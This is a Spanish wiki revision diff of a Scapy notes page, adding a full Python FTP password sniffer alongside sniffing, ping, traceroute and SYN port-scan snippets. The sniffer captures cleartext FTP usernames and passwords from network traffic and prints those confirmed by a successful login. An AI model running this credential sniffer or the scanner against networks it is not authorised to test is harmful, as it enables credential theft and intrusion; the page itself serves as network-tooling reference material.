Herramientas de usuario

Herramientas del sitio


enlaces:utilidades_de_red:scapy

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

Ambos lados, revisión anteriorRevisión previa
Próxima revisión
Revisión previa
Última revisiónAmbos lados, revisión siguiente
enlaces:utilidades_de_red:scapy [2018/11/22 16:34] cayuenlaces:utilidades_de_red:scapy [2018/11/26 16:29] cayu
Línea 4: Línea 4:
 ==== Sniffer ==== ==== Sniffer ====
 <code python> <code python>
-sniff(iface="enp2s0", prn = lambda x: x.show(), filter="tcp", store=0)+sniff(iface="<interface>", prn = lambda x: x.show(), filter="tcp", store=0) 
 +</code> 
 +Python/Scapy FTP Password Sniffer : 
 +<code python> 
 +#! /usr/bin/python 
 +  
 +import sys 
 +from logging import getLogger, ERROR 
 +getLogger('scapy.runtime').setLevel(ERROR) 
 +try: 
 +    from scapy.all import * 
 +except ImportError: 
 +    print '[!] Error: Scapy Installation Not Found' 
 +    sys.exit(1) 
 +  
 +interface = sys.argv[1] 
 +  
 +usernames = ['Error: Unlucky Timing'
 +passwords = ['Error: Unlucky Timing'
 +  
 +def check_login(pkt, username, password): 
 +    try: 
 +        if '230' in pkt[Raw].load: 
 +            print '[*] Valid Credentials Found... ' 
 +            print '\t[*] ' + str(pkt[IP].dst).strip() + ' -> ' + str(pkt[IP].src).strip() + ':' 
 +            print '\t   [*] Username: ' + username 
 +            print '\t   [*] Password: ' + password + '\n' 
 +            return 
 +        else: 
 +            return 
 +    except Exception: 
 +        return  
 +  
 +def check_for_ftp(pkt): 
 +    if pkt.haslayer(TCP) and pkt.haslayer(Raw): 
 +        if pkt[TCP].dport == 21 or pkt[TCP].sport == 21: 
 +            return True 
 +        else: 
 +            return False 
 +    else: 
 +        return False 
 +  
 +def check_pkt(pkt): 
 +    if check_for_ftp(pkt): 
 +        pass 
 +    else: 
 +        return 
 +    data = pkt[Raw].load 
 +    if 'USER ' in data: 
 +        usernames.append(data.split('USER ')[1].strip()) 
 +    elif 'PASS ' in data: 
 +        passwords.append(data.split('PASS ')[1].strip()) 
 +    else: 
 +        check_login(pkt, usernames[-1], passwords[-1]) 
 +    return 
 +  
 +print '[*] Sniffing Started on %s... \n' % interface 
 +try: 
 +    sniff(iface=interface, prn=check_pkt, store=0) 
 +except Exception: 
 +    print '[!] Error: Failed to Initialize Sniffing' 
 +    sys.exit(1) 
 +print '\n[*] Sniffing Stopped'
 </code> </code>
 ==== Ping ==== ==== Ping ====
Línea 10: Línea 72:
 sr(IP(dst="8.8.8.8")/ICMP()) sr(IP(dst="8.8.8.8")/ICMP())
 </code> </code>
 +==== Ejemplos de 0x90 ====
 +Ejemplos de [[https://github.com/0x90/uberscapy|0x90]].
 +
 +Sniffing on eth0:
 +<code python>
 +    sniff(iface="eth0", prn=lambda x: x.summary())
 +    sniff(iface="eth0", prn=lambda x: x.show())
 +</code>
 +Formated sniff output
 +<code python>
 +    sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
 +</code>    
 +    
 +Traceroute:
 +<code python>
 + traceroute(["www.google.com","www.ust.cl","www.terra.cl","www.microsoft.com"],maxttl=20)
 + result, unans=_
 + result.show()
 + # save output
 + result.graph(type="ps", target="|lp")
 + result.graph(target="> grafico.svg")
 +</code>
 +Port scanner:
 +<code python>
 + res,unans = sr( IP(dst="target")/TCP(flags="S", dport=(1,1024)) )
 + res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )
 +</code>
 +
 +===== Referencias =====
 +https://github.com/0x90/uberscapy